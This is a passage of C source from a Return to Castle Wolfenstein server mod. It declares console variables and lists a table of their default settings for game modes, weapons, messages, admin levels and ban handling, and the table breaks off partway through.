vmCvar_t g_playDead;
vmCvar_t g_headshotsOnly;
vmCvar_t g_voteCredits;
vmCvar_t g_checkBan;
vmCvar_t g_chooseMg;
vmCvar_t g_mvsay;
vmCvar_t g_dragCorpse;
vmCvar_t g_underwaterMg;
vmCvar_t g_underwaterRevive;
vmCvar_t g_underwaterPistols;
vmCvar_t g_tournymode;
vmCvar_t g_forceWarmupSpawn;
vmCvar_t g_smokeGrenades;
vmCvar_t g_smokeGrenadeLimit;
vmCvar_t g_homingRockets;
vmCvar_t g_homingRocketsSens;
vmCvar_t g_panzerOverHeatTime;
vmCvar_t g_panzerClips;
vmCvar_t g_panzerCoolDownTime;
vmCvar_t g_panzerFireRate;
vmCvar_t g_extraPanzerClips;
vmCvar_t g_DmSpawnPoints;
vmCvar_t g_homingrocketdetects;
vmCvar_t g_test1;
vmCvar_t g_test2;
vmCvar_t g_test3;
vmCvar_t g_mines;
vmCvar_t g_smokingPlayers;
vmCvar_t g_goldrush;
vmCvar_t g_goldWeight;
vmCvar_t g_instaGib;
vmCvar_t g_assassanation;
vmCvar_t g_nodrowning;
vmCvar_t g_privateclients;
vmCvar_t g_autoShuffle;
vmCvar_t g_panzerParty;
vmCvar_t g_checkpureclient;
vmCvar_t g_makeDMspawns;
vmCvar_t g_DoHighAcheivers;
vmCvar_t g_LTinfomsg;
vmCvar_t g_allowSpys;
vmCvar_t g_reportSpys;
vmCvar_t g_antilag;
vmCvar_t g_antilagVersion;
vmCvar_t g_allowhitsounds;
vmCvar_t g_CaptureTheFlag;
vmCvar_t g_autoAim;
vmCvar_t g_jumpAccel;
vmCvar_t g_moonPhysics;
vmCvar_t updatebanlist;
vmCvar_t g_SpamWar;
vmCvar_t g_automg42limit;
vmCvar_t g_allowCV;
vmCvar_t g_dropBinocs;
vmCvar_t g_forceDLpaknames;
vmCvar_t g_forceDLchecksums;
vmCvar_t g_tableStats;
vmCvar_t g_S4NDLog;
vmCvar_t g_S4NDdebug;
vmCvar_t g_allowspeclock;
//For msgs
vmCvar_t g_msg1;
vmCvar_t g_msg2;
vmCvar_t g_msg3;
vmCvar_t g_msg4;
vmCvar_t g_msg5;
vmCvar_t g_msg6;
vmCvar_t g_msg7;
vmCvar_t g_msg8;
vmCvar_t g_msg9;
vmCvar_t g_msg10;
vmCvar_t g_msgs;
vmCvar_t g_msgtime;
vmCvar_t msgNum;
//Admin
vmCvar_t a1_pass;
vmCvar_t a2_pass;
vmCvar_t a3_pass;
vmCvar_t a4_pass;
vmCvar_t a5_pass;
// Nobo
vmCvar_t a6_cmds;
vmCvar_t a6_pass;
vmCvar_t a1_status;
vmCvar_t a2_status;
vmCvar_t a3_status;
vmCvar_t a4_status;
vmCvar_t a5_status;
vmCvar_t a6_status;
vmCvar_t a1_loginmsg;
vmCvar_t a2_loginmsg;
vmCvar_t a3_loginmsg;
vmCvar_t a4_loginmsg;
vmCvar_t a5_loginmsg;
vmCvar_t a6_loginmsg;
vmCvar_t g_whitelistmsg;
// End Nobo
vmCvar_t a1_cmds;
vmCvar_t a2_cmds;
vmCvar_t a3_cmds;
vmCvar_t a4_cmds;
vmCvar_t a5_cmds;
vmCvar_t a5_allPowers;
//The trenches WW1 mod
vmCvar_t g_theTrenchesMode;
//agentbegun
vmCvar_t AB_Enable;
vmCvar_t AB_MinScore;
vmCvar_t AB_Tks;
vmCvar_t AB_CheatsOK;
vmCvar_t AB_Test;
vmCvar_t AB_AutoMaps;
vmCvar_t AB_MinNameChars;
vmCvar_t AB_MinHits;
vmCvar_t AB_MinHitsPercent;
//vmCvar_t AB_CvarCheck;
vmCvar_t AB_KnifePoints;
vmCvar_t AB_MgPoints;
vmCvar_t AB_MauserPoints;
vmCvar_t AB_Mg42Points;
vmCvar_t AB_ThrowKnivesPoints;
vmCvar_t AB_NadePoints;
vmCvar_t AB_AsPoints;
vmCvar_t AB_FlamerPoints;
vmCvar_t AB_VenomPoints;
vmCvar_t AB_PanzerPoints;
vmCvar_t AB_DynamitePoints;
vmCvar_t AB_PistolPoints;
vmCvar_t AB_SniperPoints;
vmCvar_t AB_MaxTkPoints;
//vmCvar_t AB_MaxPing;
//vmCvar_t AB_MaxPingTime;
//vmCvar_t AB_KickHighPingers;
vmCvar_t AB_TempBanTime;
vmCvar_t AB_AllowNameSpam;
vmCvar_t g_RetakeLimit;
vmCvar_t g_SniperMode;
vmCvar_t g_autoSniper;
vmCvar_t g_ShowHighlights;
vmCvar_t g_AutoSpawnTimes;
vmCvar_t g_AutoHeavyWeapons;
vmCvar_t g_autoTeamBalance;
vmCvar_t g_needBalance;
vmCvar_t g_RedDefaultSpawnTime;
vmCvar_t g_BlueDefaultSpawnTime;
vmCvar_t cl_allowdownload;
vmCvar_t r_znear;
vmCvar_t r_vertexlight;
vmCvar_t cl_anonymous;
vmCvar_t r_depthbits;
vmCvar_t cl_timenudge;
vmCvar_t g_ltExtraAirstrike;
vmCvar_t g_gibPoints;
//vmCvar_t Players_Allies;
//vmCvar_t Players_Axis;
//vmCvar_t Players_Spec;
vmCvar_t g_autoTap;
vmCvar_t g_maxAirstrikes;
vmCvar_t g_showHitBoxes;
// martin - fixed physics
vmCvar_t g_fixedphysics;
vmCvar_t g_demo;
vmCvar_t g_fastCrouchStamina;
vmCvar_t g_noSameTeamDefuse;
vmCvar_t g_truePing;
vmCvar_t g_anticheat;
vmCvar_t g_shortcuts;
vmCvar_t g_binocWar;
vmCvar_t g_mineHealth;
//vmCvar_t g_mineArmAmt;
//vmCvar_t g_mineSplashRadius;
//vmCvar_t g_mineDetectDist;
vmCvar_t Uptime;
//vmCvar_t g_fixedphysicsfps;
vmCvar_t g_fakePing;
vmCvar_t g_friendlyFireKnockback;
vmCvar_t g_spawnTimer;
vmCvar_t g_showLifeStats;
vmCvar_t g_undeadRevives;
//eng agent
vmCvar_t g_welcomeMsg; // nobo
//S4NDM4NN - test
vmCvar_t sv_referencedPaks;
vmCvar_t sv_referencedPakNames;
//added this to use to print s4ndmod and its version
vmCvar_t gamename;
vmCvar_t modurl;
//end of my cvars
#ifdef OMNIBOT
vmCvar_t g_OmniBotPath;
vmCvar_t g_OmniBotFlags;
vmCvar_t g_OmniBotPlaying;
vmCvar_t g_OmniBotGib;
vmCvar_t g_botTeam;
#endif
// L0 - my cvars
vmCvar_t g_FirstBlood;
vmCvar_t g_redDrawFirst;
vmCvar_t g_blueDrawFirst;
vmCvar_t g_doubleKills;
vmCvar_t g_screenShake; // I could use existing cvar (sv_screenshake) but it caused some problems in past..
// L0 - end
cvarTable_t gameCvarTable[] = {
// don't override the cheat state set by the system
{ &g_cheats, "g_cheats", "0", 0, qfalse },
{ &g_welcomeMsg, "g_welcomeMsg", "", 0, 0, qfalse}, // nobo
// noset vars
{ &gamename, "gamename", GAMEVERSION, CVAR_SERVERINFO | CVAR_ROM, 0, qfalse },
{ &modurl, "^3Mod URL", MODURL , CVAR_SERVERINFO | CVAR_ROM, 0, qfalse },
{ NULL, "^3AdminBot Version", ADMINBOTVERSION, CVAR_SERVERINFO | CVAR_ROM, 0, qfalse }, //agent for the bot
{ NULL, "gamedate", __DATE__ , CVAR_ROM, 0, qfalse },
{ NULL, "Compile Date", __DATE__ , CVAR_ROM | CVAR_SERVERINFO, 0, qfalse },
{ &g_restarted, "g_restarted", "0", CVAR_ROM, 0, qfalse },
{ NULL, "sv_mapname", "", CVAR_SERVERINFO | CVAR_ROM, 0, qfalse },
// latched vars
// DHM - Nerve :: default to GT_WOLF
{ &g_gametype, "g_gametype", "5", CVAR_SERVERINFO | CVAR_LATCH, 0, qfalse },
//ADDED
{ &g_ippool, "g_ippool", "", CVAR_ARCHIVE, 0, qfalse },
{ &g_ipbadpool, "g_ipbadpool", "", CVAR_ARCHIVE, 0, qfalse },
// Rafael gameskill
{ &g_gameskill, "g_gameskill", "3", CVAR_LATCH, 0, qfalse },
// done
// JPW NERVE multiplayer stuffs
{ &sv_screenshake, "sv_screenshake", "5", CVAR_ARCHIVE, 0, qfalse},
{ &g_redlimbotime, "g_redlimbotime", "30000", CVAR_SERVERINFO | CVAR_LATCH | CVAR_ROM, 0, qfalse },
{ &g_bluelimbotime, "g_bluelimbotime", "30000", CVAR_SERVERINFO | CVAR_LATCH | CVAR_ROM, 0, qfalse },
{ &g_medicChargeTime, "g_medicChargeTime", "45000", CVAR_SERVERINFO | CVAR_LATCH, 0, qfalse },
{ &g_engineerChargeTime, "g_engineerChargeTime", "30000", CVAR_SERVERINFO | CVAR_LATCH, 0, qfalse },
{ &g_LTChargeTime, "g_LTChargeTime", "40000", CVAR_SERVERINFO | CVAR_LATCH, 0, qfalse },
{ &g_soldierChargeTime, "g_soldierChargeTime", "20000", CVAR_SERVERINFO | CVAR_LATCH, 0, qfalse },
// jpw
{ &g_maxclients, "sv_maxclients", "32", CVAR_SERVERINFO | CVAR_LATCH | CVAR_ARCHIVE, 0, qfalse }, // NERVE - SMF - made 32 from 8
{ &g_maxGameClients, "g_maxGameClients", "0", /*CVAR_SERVERINFO*/CVAR_LATCH | CVAR_ARCHIVE, 0, qfalse },
{ &g_minGameClients, "g_minGameClients", "2", 0/*CVAR_SERVERINFO*/, 0, qfalse }, // NERVE - SMF
// change anytime vars
{ &g_dmflags, "dmflags", "0", /*CVAR_SERVERINFO |*/ CVAR_ARCHIVE, 0, qtrue },
{ &g_fraglimit, "fraglimit", "0", CVAR_SERVERINFO | CVAR_ARCHIVE | CVAR_NORESTART, 0, qtrue },
{ &g_timelimit, "timelimit", "0", CVAR_SERVERINFO | CVAR_ARCHIVE | CVAR_NORESTART, 0, qfalse },
{ &g_capturelimit, "capturelimit", "8", /*CVAR_SERVERINFO |*/ CVAR_ARCHIVE | CVAR_NORESTART, 0, qtrue },
{ &g_syncronousClients, "g_syncronousClients", "0", CVAR_SYSTEMINFO, 0, qfalse },
{ &g_friendlyFire, "g_friendlyFire", "1", CVAR_SERVERINFO | CVAR_ARCHIVE, 0, qtrue },
{ &g_teamForceBalance, "g_teamForceBalance", "1", CVAR_ARCHIVE }, // NERVE - SMF - merge from team arena
{ &g_warmup, "g_warmup", "30", CVAR_ARCHIVE, 0, qfalse },
{ &g_doWarmup, "g_doWarmup", "0", 0, 0, qtrue },
// NERVE - SMF
{ &g_warmupLatch, "g_warmupLatch", "1", 0, 0, qfalse },
{ &g_nextTimeLimit, "g_nextTimeLimit", "0", CVAR_WOLFINFO, 0, qfalse },
{ &g_currentRound, "g_currentRound", "0", CVAR_WOLFINFO, 0, qfalse },
{ &g_altStopwatchMode, "g_altStopwatchMode", "0", CVAR_ARCHIVE, 0, qtrue },
{ &g_gamestate, "gamestate", "-1", CVAR_WOLFINFO | CVAR_ROM, 0, qfalse },
{ &g_noTeamSwitching, "g_noTeamSwitching", "0", CVAR_ARCHIVE, 0, qtrue },
{ &g_showHeadshotRatio, "g_showHeadshotRatio", "0", 0, 0, qfalse },
{ &g_userTimeLimit, "g_userTimeLimit", "0", 0, 0, qfalse },
{ &g_userAlliedRespawnTime, "g_userAlliedRespawnTime", "0", 0, 0, qfalse },
{ &g_userAxisRespawnTime, "g_userAxisRespawnTime", "0", 0, 0, qfalse },
{ &g_swapteams, "g_swapteams", "0", CVAR_ROM, 0, qfalse },
// -NERVE - SMF
{ &g_log, "g_log", "", CVAR_ARCHIVE, 0, qfalse },
{ &g_logSync, "g_logSync", "0", CVAR_ARCHIVE, 0, qfalse },
{ &g_password, "<PASSWORD>", "", CVAR_USERINFO, 0, qfalse },
{ &g_banIPs, "g_banIPs", "", CVAR_ARCHIVE, 0, qfalse },
{ &g_filterBan, "g_filterBan", "1", CVAR_ARCHIVE, 0, qfalse },
{ &g_banmsg, "g_banmsg", "^3You Have Been Banned From This Server", 0, 0, qfalse },
{ &g_tempbanmsg, "g_tempbanmsg", "", 0, 0, qfalse },
{ &g_dedicated, "dedicated", "0", 0, 0, qfalse },
{ &g_speed, "g_speed", "320", 0, 0, qtrue },
{ &g_gravity, "g_gravity", "800", 0, 0, qtrue },
{ &g_knockback, "g_knockback", "1000", 0, 0, qtrue },
{ &g_quadfactor, "g_quadfactor", "3", 0, 0, qtrue },
{ &g_weaponRespawn, "g_weaponrespawn", "5", 0, 0, qtrue },
{ &g_weaponTeamRespawn, "g_weaponTeamRespawn", "30", 0, 0, qtrue },
{ &g_forcerespawn, "g_forcerespawn", "0", 0, 0, qtrue },
{ &g_inactivity, "g_inactivity", "0", 0, 0, qtrue },
{ &g_debugMove, "g_debugMove", "0", 0, 0, qfalse },
{ &g_debugDamage, "g_debugDamage", "0", CVAR_CHEAT, 0, qfalse },
{ &g_debugAlloc, "g_debugAlloc", "0", 0, 0, qfalse },
{ &g_debugBullets, "g_debugBullets", "0", 0, 0, qfalse}, //----(SA) added
{ &g_debugSpawn, "g_debugSpawn", "0", CVAR_CHEAT, 0, qtrue},
{ &g_motd, "g_motd", "", 0, 0, qfalse },
{ &g_podiumDist, "g_podiumDist", "80", 0, 0, qfalse },
{ &g_podiumDrop, "g_podiumDrop", "70", 0, 0, qfalse },
{ &g_allowVote, "g_allowVote", "1", 0, 0, qfalse },
{ &g_listEntity, "g_listEntity", "0", 0, 0, qfalse },
{ &g_complaintlimit, "g_complaintlimit", "0", CVAR_ARCHIVE, 0, qtrue}, // DHM - Nerve
{ &g_maxlives, "g_maxlives", "0", CVAR_ARCHIVE|CVAR_LATCH|CVAR_SERVERINFO, 0, qtrue}, // DHM - Nerve
{ &g_voiceChatsAllowed, "g_voiceChatsAllowed", "4", CVAR_ARCHIVE, 0, qfalse}, // DHM - Nerve
{ &g_enableBreath, "g_enableBreath", "1", 0, 0, qtrue}, //agent removed
{ &g_testPain, "g_testPain", "0", CVAR_CHEAT, 0, qfalse },
{ &g_missionStats, "g_missionStats", "0", CVAR_ROM, 0, qfalse },
{ &g_developer, "developer", "0", CVAR_TEMP, 0, qfalse },
{ &g_rankings, "g_rankings", "0", 0, 0, qfalse},
{ &g_userAim, "g_userAim", "1", CVAR_CHEAT, 0, qfalse },
{ &g_smoothClients, "g_smoothClients", "1", 0, 0, qfalse},
{ &pmove_fixed, "pmove_fixed", "0", CVAR_SYSTEMINFO, 0, qfalse},
{ &pmove_msec, "pmove_msec", "8", CVAR_SYSTEMINFO, 0, qfalse},
{&g_mg42arc, "g_mg42arc", "0", CVAR_TEMP, 0, qfalse},
{&g_footstepAudibleRange, "g_footstepAudibleRange", "256", CVAR_CHEAT, 0, qfalse},
{&g_scriptName, "g_scriptName", "", CVAR_ROM, 0, qfalse},
{&ai_scriptName, "ai_scriptName", "", CVAR_ROM, 0, qfalse},
//S4NDM4NN cvars
{&g_speclock, "g_speclock", "0", /*CVAR_SERVERINFO | CVAR_LATCH*/0, 0, qtrue},
{&g_checkguid, "g_checkguid", "0", 0, 0, qtrue},
{&g_medPacks, "g_medPacks", "2", 0, 0, qtrue},
{&g_ammoPacks, "g_ammoPacks", "1", 0, 0, qtrue},
{&g_nadePacks, "g_nadePacks", "1", 0, 0, qtrue},
{&g_allowBlackNames, "g_allowBlackNames", "1", 0, 0, qtrue},
{&g_banGuids, "g_banGuids", "", 0, 0, qfalse},
{&g_goomba, "g_goomba", "1", 0, 0, qtrue},
{&g_poison, "g_poison", "15", 0, 0, qtrue},
{&g_dropReload, "g_dropReload", "0", 0, 0, qtrue},
{&g_reviveReports, "g_reviveReports", "2", 0, 0, qtrue},
{&g_tapReports, "g_tapReports", "1", 0, 0, qtrue},
{&g_nameChangeReports, "g_nameChangeReports", "1", 0, 0, qtrue},
{&g_ltNades, "g_ltNades", "1", 0, 0, qtrue},
{&g_engNades, "g_engNades", "8", 0, 0, qtrue},
{&g_medNades, "g_medNades", "1", 0, 0, qtrue},
{&g_soldNades, "g_soldNades", "4", 0, 0, qtrue},
{&g_minMsgChars, "g_minMsgChars", "3", 0, 0, qtrue},
{&g_privateMsgs, "g_privateMsgs", "1", 0, 0, qtrue},
{&g_allowGib, "g_allowGib", "1", 0, 0, qtrue},
{&g_allowKill, "g_allowKill", "1", 0, 0, qtrue},
{&g_shove, "g_shove", "100", 0, 0, qtrue},
{&g_shoveAmount, "g_shoveAmount", "1", 0, 0, qtrue},
{&g_shoveNoZ, "g_shoveNoZ", "1", 0, 0, qtrue},
{&g_kickableNades, "g_kickableNades", "1", 0, 0, qtrue},
{&g_kickableAS, "g_kickableAS", "1", 0, 0, qtrue},
{&g_gibReports, "g_gibReports", "1", 0, 0, qtrue},
{&g_warmupDamage, "g_warmupDamage", "1", 0, 0, qtrue},
{&g_reportHeadshots, "g_reportHeadshots", "0", 0, 0, qtrue}, //agent changed to 0 because of hitsounds now
{&g_unlockWeapons, "g_unlockWeapons", "1", 0, 0, qtrue},
{&g_pickupAmmo, "g_pickupAmmo", "1", 0, 0, qtrue},
{&g_ammoGivesSyringe, "g_ammoGivesSyringe", "1", 0, 0, qtrue},
{&g_ammoGivesHelmet, "g_ammoGivesHelmet", "1", 0, 0, qtrue},
{&g_ammoGivesBinocs, "g_ammoGivesBinocs", "1", 0, 0, qtrue},
{&g_soldExtraClips, "g_soldExtraClips", "2", 0, 0, qfalse},
{&g_medExtraClips, "g_medExtraClips", "0", 0, 0, qfalse},
{&g_ltExtraClips, "g_ltExtraClips", "1", 0, 0, qfalse},
{&g_engExtraClips, "g_engExtraClips", "1", 0, 0, qfalse},
{&g_pistolExtraClips, "g_pistolExtraClips", "3", 0, 0, qfalse},
{&g_mauserExtraClips, "g_mauserExtraClips", "1", 0, 0, qfalse},
{&g_venomExtraClips, "g_venomExtraClips", "0", 0, 0, qfalse},
{&g_headshotDmg, "g_headshotDmg", "50", 0, 0, qtrue},
{&g_helmetDmg, "g_helmetDmg", "10", 0, 0, qtrue},
{&g_helmetProtects, "g_helmetProtects", "0", 0, 0, qtrue},
{&g_teamSwitchTime, "g_teamSwitchTime", "30", 0, 0, qtrue},
{&g_connectMsg, "g_connectMsg", "", 0, 0, qfalse},
{&g_deathmatch, "g_deathmatch", "0", CVAR_SERVERINFO | CVAR_LATCH, 0, qfalse },
{&g_lateJoinTime, "g_lateJoinTime", "15", 0, 0, qtrue},
{&g_allowLateJoiners, "g_allowlateJoiners", "0", 0, 0, qtrue},
{&g_lateJoinLives, "g_lateJoinLives", "0", 0, 0, qtrue},
{&g_maxPf, "g_maxPf", "-1", 0, 0, qfalse},
{&g_maxFlamer, "g_maxFlamer", "-1", 0, 0, qfalse},
{&g_maxMauser, "g_maxMauser", "-1", 0, 0, qtrue},
{&g_maxVenom, "g_maxVenom", "-1", 0, 0, qtrue},
{&g_axismaxlives, "g_axismaxlives", "0", CVAR_ARCHIVE|CVAR_LATCH, 0, qtrue},
{&g_alliedmaxlives, "g_alliedmaxlives", "0", CVAR_ARCHIVE|CVAR_LATCH, 0, qtrue},
{&g_ignoreSpecs, "g_ignoreSpecs", "0", 0, 0, qtrue},
{&g_panzerArc, "g_panzerArc", "0", 0, 0, qtrue},
{&g_rocketSpeed, "g_rocketSpeed", "2500", 0, 0, qtrue},
{&g_ASBlock, "g_ASBlock", "1", 0, 0, qtrue},
{&g_ASBlockEasy, "g_ASBlockEasy", "1", 0, 0, qtrue},
{&g_disallowedVotes, "g_disallowedVotes", "", 0, 0, qfalse},
{&g_lockteams, "g_lockteams", "0", 0, 0, qfalse},
{&g_dropObj, "g_dropObj", "0", 0, 0, qtrue},
{&g_dropNadepacks, "g_dropNadepacks", "1", 0, 0, qtrue},
{&g_throwableKnives, "g_throwableKnives", "5", 0, 0, qtrue},
{&g_ammoGivesKnife, "g_ammoGivesKnife", "1", 0, 0, qtrue},
{&g_maxKnives, "g_maxKnives", "5", 0, 0, qtrue},
{&g_knifeDamage, "g_knifeDamage", "35", 0, 0, qtrue},
{&g_wolfKick, "g_wolfKick", "1", 0, 0, qtrue},
{&g_dropClips, "g_dropClips", "1", 0, 0, qtrue},
{&g_playDead, "g_playDead", "0", 0, 0, qtrue},
{&g_headshotsOnly, "g_headshotsOnly", "0", 0, 0, qfalse},
{&g_voteCredits, "g_voteCredits", "-1", CVAR_ARCHIVE|CVAR_LATCH, 0, qfalse},
{&g_checkBan, "g_checkBan", "1", 0, 0, qfalse},
{&g_chooseMg, "g_chooseMg", "1", 0, 0, qtrue},
{&g_mvsay, "g_mvsay", "1", 0, 0, qtrue},
{&g_dragCorpse, "g_dragCorpse", "1", 0, 0, qtrue},
{&g_underwaterRevive, "g_underwaterRevive", "0", 0, 0, qtrue},
{&g_underwaterMg, "g_underwaterMg", "0", 0, 0, qtrue},
{&g_underwaterPistols, "g_underwaterPistols", "0", 0, 0, qtrue},
{&g_tournymode, "g_tournymode", "0", CVAR_ARCHIVE|CVAR_LATCH, 0, qfalse},
{&g_forceWarmupSpawn, "g_forceWarmupSpawn", "1", 0, 0, qtrue},
{&g_smokeGrenades, "g_smokeGrenades", "15", 0, 0, qtrue},
{&g_smokeGrenadeLimit, "g_smokeGrenadeLimit", "0", 0, 0, qtrue},
{&g_homingRockets, "g_homingRockets", "0", 0, 0, qtrue},
{&g_homingRocketsSens, "g_homingRocketsSens", ".9", 0, 0, qtrue},
{&g_panzerClips, "g_panzerClips", "1", CVAR_LATCH, 0, qtrue},
{&g_panzerOverHeatTime, "g_panzerOverHeatTime", "0", CVAR_LATCH, 0, qtrue},
{&g_panzerCoolDownTime, "g_panzerCoolDownTime", "0", CVAR_LATCH, 0, qtrue},
{&g_panzerFireRate, "g_panzerFireRate", "2000", CVAR_LATCH, 0, qtrue},
{&g_extraPanzerClips, "g_extraPanzerClips", "4", 0, 0, qtrue},
{&g_DmSpawnPoints, "g_DmSpawnpoints", "", 0, 0, qfalse},
{&g_mines, "g_mines", "1", CVAR_LATCH, 0, qtrue},
{&g_smokingPlayers, "g_smokingPlayers", "0", 0, 0, qtrue},
{&g_goldrush, "g_goldrush", "0", 0, 0, qtrue},
{&g_goldWeight, "g_goldWeight", "5", 0, 0, qtrue},
{&g_instaGib, "g_instaGib", "0", 0, 0, qtrue},
{&g_nodrowning, "g_nodrowning", "0", 0, 0, qtrue},
{&g_homingrocketdetects, "g_homingrocketdetects", "600", 0, 0, qtrue},
{&g_privateclients, "sv_privateClients", "0", CVAR_SERVERINFO | CVAR_LATCH | CVAR_ARCHIVE, 0, qfalse },
{&g_autoShuffle, "g_autoShuffle", "0", 0, 0, qfalse},
{&g_panzerParty, "g_panzerParty", "0", 0, 0, qtrue},
{&g_checkpureclient, "g_checkpureclient", "0", 0, 0, qtrue},
{&g_makeDMspawns, "g_makeDMspawns", "0", 0, 0, qtrue},
{&g_DoHighAcheivers, "g_DoHighAcheivers", "1", 0, 0, qtrue},
{&g_LTinfomsg, "g_LTinfomsg", "1", 0, 0, qtrue},
{&g_allowSpys, "g_allowSpys", "0", 0, 0, qtrue},
{&g_reportSpys, "g_reportSpys", "1", 0, 0, qtrue},
{&g_allowhitsounds, "g_allowhitsounds", "1", 0, 0, qtrue},
{&g_CaptureTheFlag, "g_CaptureTheFlag", "0", CVAR_LATCH, 0, qtrue},
{&g_autoAim, "g_autoAim", "0", 0, 0, qtrue},
{&g_jumpAccel, "g_jumpAccel", "0", 0, 0, qtrue},
{&g_moonPhysics, "g_moonPhysics", "0", 0, 0, qtrue},
{&updatebanlist, "updatebanlist", "", CVAR_ROM, 0, qfalse},
{&g_SpamWar, "g_SpamWar", "0", CVAR_LATCH, 0, qfalse},
{&g_automg42limit, "g_automg42limit", "0", CVAR_LATCH, 0, qtrue},
{&g_allowCV, "g_allowCV", "0", 0, 0, qtrue},
{&g_dropBinocs, "g_dropBinocs", "1", 0, 0, qtrue},
{&g_forceDLpaknames, "g_forceDLpaknames", "", 0, 0, qfalse},
{&g_forceDLchecksums, "g_forceDLchecksums", "", 0, 0, qfalse},
{&sv_referencedPaks, "sv_referencedPaks", "", 0, 0, qfalse},
{&sv_referencedPakNames, "sv_referencedPakNames", "", 0, 0, qfalse},
{&g_tableStats, "g_tableStats", "1", 0, 0, qtrue},
{&g_S4NDLog, "g_S4NDLog", "0", CVAR_LATCH, 0, qtrue},
{&g_S4NDdebug, "g_S4NDdebug", "0", CVAR_LATCH, 0, qtrue},
{&g_allowspeclock, "g_allowspeclock", "0", 0, 0, qtrue},
{&g_mineHealth, "g_mineHealth", "150", 0, 0, qtrue},
//{&g_mineArmAmt, "g_mineArmAmt", "99", 0, 0, qtrue},
//{&g_mineDetectDist, "g_mineDetectDist", "200", 0, 0, qtrue},
//{&g_mineSplashRadius, "g_mineSplashRadius", "400", 0, 0, qtrue},
//adding this just to test stuff
{&g_test1, "g_test1", "", 0, 0, qtrue},
{&g_test2, "g_test2", "", 0, 0, qtrue},
{&g_test3, "g_test3", "", 0, 0, qtrue},
//For msgs
{&g_msg1, "g_msg1", "", 0, 0, qfalse},
{&g_msg2, "g_msg2", "", 0, 0, qfalse},
{&g_msg3, "g_msg3", "", 0, 0, qfalse},
{&g_msg4, "g_msg4", "", 0, 0, qfalse},
{&g_msg5, "g_msg5", "", 0, 0, qfalse},
{&g_msg6, "g_msg6", "", 0, 0, qfalse},
{&g_msg7, "g_msg7", "", 0, 0, qfalse},
{&g_msg8, "g_msg8", "", 0, 0, qfalse},
{&g_msg9, "g_msg9", "", 0, 0, qfalse},
{&g_msg10, "g_msg10", "", 0, 0, qfalse},
{&g_msgs, "g_msgs", "0", 0, 0, qtrue},
{&g_msgtime, "g_msgtime", "45", 0, 0, qtrue},
{&msgNum, "msgNum", "1", 0, 0, qfalse},
//Admin
{&a1_pass, "a1_pass", "none", 0, 0, qfalse},
{&a2_pass, "a2_pass", "none", 0, 0, qfalse},
{&a3_pass, "a3_pass", "none", 0, 0, qfalse},
{&a4_pass, "a4_pass", "none", 0, 0, qfalse},
{&a5_pass, "a5_pass", "none", 0, 0, qfalse},
//Nobo
{&a6_pass, "a6_pass", "none", 0, 0, qfalse},
{&a6_cmds, "a6_cmds", "", 0, 0, qfalse},
{&a1_status, "a1_status", "^1Admin", 0, 0, qfalse},
{&a2_status, "a2_status", "^2Admin", 0, 0, qfalse},
{&a3_status, "a3_status", "^3Admin", 0, 0, qfalse},
{&a4_status, "a4_status", "^4Admin", 0, 0, qfalse},
{&a5_status, "a5_status", "^5Admin", 0, 0, qfalse},
{&a6_status, "a6_status", "^6Admin", 0, 0, qfalse},
{ &a1_loginmsg, "a1_loginmsg", "^7has logged in as a ^1Level One", 0, 0, qfalse },
{ &a2_loginmsg, "a2_loginmsg", "^7has logged in as a ^2Level Two", 0, 0, qfalse },
{ &a3_loginmsg, "a3_loginmsg", "^7has logged in as a ^3Level Three", 0, 0, qfalse },
{ &a4_loginmsg, "a4_loginmsg", "^7has logged in as a ^4Level Four", 0, 0, qfalse },
{ &a5_loginmsg, "a5_loginmsg", "^7has logged in as a ^5Level Five", 0, 0, qfalse },
{ &a6_loginmsg, "a6_loginmsg", "^7has logged in as a ^6Level Six", 0, 0, qfalse },
{ &g_whitelistmsg, "g_whitelistmsg", "^3Your IP is not whitelisted", 0, 0, qfalse },
// end Nobo
{&a1_cmds, "a1_cmds", "", 0, 0, qfalse},
{&a2_cmds, "a2_cmds", "", 0, 0, qfalse},
{&a3_cmds, "a3_cmds", "", 0, 0, qfalse},
{&a4_cmds, "a4_cmds", "", 0, 0, qfalse},
{&a5_cmds, "a5_cmds", "", 0, 0, qfalse},
{&a5_allPowers, "a5_allPowers", "0", 0, 0, qfalse},
//End S4NDM4NN
//The trenches
{&g_theTrenchesMode, "g_theTrenchesMode", "0", CVAR_LATCH, 0, qfalse},
//End
//begin agent :( soo many ^^^
{&AB_Enable, "AB_Enable", "1", CVAR_SERVERINFO, 0, qfalse},
{&AB_MinScore, "AB_MinScore", "-10", CVAR_LATCH, 0, qfalse},
{&AB_Tks, "AB_Tks", "6", CVAR_LATCH, 0, qfalse},
//{&AB_CvarCheck, "AB_CvarCheck", "0", CVAR_LATCH, 0, qfalse},
{&AB_CheatsOK, "AB_CheatsOK", "0", 0, qfalse},
{&AB_AutoMaps, "AB_AutoMaps", "1", CVAR_LATCH, 0, qfalse},
{&AB_AllowNameSpam, "AB_AllowNameSpam", "1", 0, 0, qfalse},
{&AB_MinNameChars, "AB_MinNameChars", "3", CVAR_LATCH, 0, qfalse},
{&AB_MinHits, "AB_MinHits", "50", 0, qtrue},
{&AB_MinHitsPercent, "AB_MinHitsPercent", "0", 0, qtrue},
{&AB_KnifePoints, "AB_KnifePoints", "50", 0, qfalse},
{&AB_MgPoints, "AB_MgPoints", "30", 0, qfalse},
{&AB_MauserPoints, "AB_MauserPoints", "50", 0, qfalse},
{&AB_Mg42Points, "AB_Mg42Points", "20", 0, qfalse},
{&AB_ThrowKnivesPoints, "AB_ThrowKnivesPoints", "40", 0, qfalse},
{&AB_NadePoints, "AB_NadePoints", "25", 0, qfalse},
{&AB_AsPoints, "AB_AsPoints", "25", 0, qfalse},
{&AB_FlamerPoints, "AB_FlamerPoints", "50", 0, qfalse},
{&AB_VenomPoints, "AB_VenomPoints", "30", 0, qfalse},
{&AB_PanzerPoints, "AB_PanzerPoints", "25", 0, qfalse},
{&AB_DynamitePoints, "AB_DynamitePoints", "20", 0, qfalse},
{&AB_PistolPoints, "AB_PistolPoints", "50", 0, qfalse},
{&AB_SniperPoints, "AB_SniperPoints", "50", 0, qfalse},
{&AB_MaxTkPoints, "AB_MaxTkPoints", "200", 0, qfalse},
//{&AB_MaxPing, "AB_MaxPing", "800", 0, qfalse},
//{&AB_MaxPingTime, "AB_MaxPingTime", "60", 0, qfalse},
//{&AB_KickHighPingers, "AB_KickHighPingers", "1", 0, qfalse},
{&AB_TempBanTime, "AB_TempBanTime", "5", 0, qfalse},
{&g_RetakeLimit, "g_RetakeLimit", "-1", 0, qtrue},
{&g_SniperMode, "g_SniperMode", "0", CVAR_LATCH, 0, qfalse},
